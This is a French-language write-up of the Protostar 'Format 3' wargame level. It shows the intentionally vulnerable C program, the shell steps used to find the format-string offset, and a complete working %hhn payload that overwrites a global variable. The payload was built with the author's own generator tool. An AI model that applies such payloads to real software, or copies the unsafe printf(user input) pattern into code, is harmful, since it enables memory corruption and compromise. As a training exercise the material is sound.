====== Format 3 ====== #include #include #include #include int target; void printbuffer(char *string) { printf(string); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printbuffer(buffer); if(target == 0x01025544) { printf("you have modified the target :)\n"); } else { printf("target is %08x :(\n", target); } } int main(int argc, char **argv) { vuln(); } Même niveau que le précédent, sauf que cette fois ci nous devons inscrire ''0x01025544'' dans ''target''. user@protostar:/opt/protostar/bin$ nm ./format3 | grep target 080496f4 B target user@protostar:/opt/protostar/bin$ for i in {1..200}; do if echo BBBB%$i\$x | ./format3 | grep 4242; then echo $i; fi; done BBBB42424242 12 user@protostar:/opt/protostar/bin$ python -c 'print "BBBB%12$x"' | ./format3 BBBB42424242 target is 00000000 :( Comme je suis un gros flemmard, j'ai codé un outil qui permet de créer des payload pour format string en une ligne de commande. Vous pouvez le télécharger [[https://github.com/thetlk/FormatStringPayloadMaker|ici]]. tlk-laptop:FormatString tlk$ ./FormatString.py usage: FormatString.py [-h] [--aprint APRINT] [--nformater NFORMATER] format_number addr_to_o addr_to_w FormatString.py: error: too few arguments tlk-laptop:FormatString tlk$ ./FormatString.py 12 080496f4 01025544 Your payload : \xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08\xf7\x96\x04\x08%52c%12$hhn%17c%13$hhn%173c%14$hhn%255c%15$hhn Parfait, on a plus qu'à tester :-) user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08\xf7\x96\x04\x08%52c%12$hhn%17c%13$hhn%173c%14$hhn%255c%15$hhn"' | ./format3 ???? ? you have modified the target :)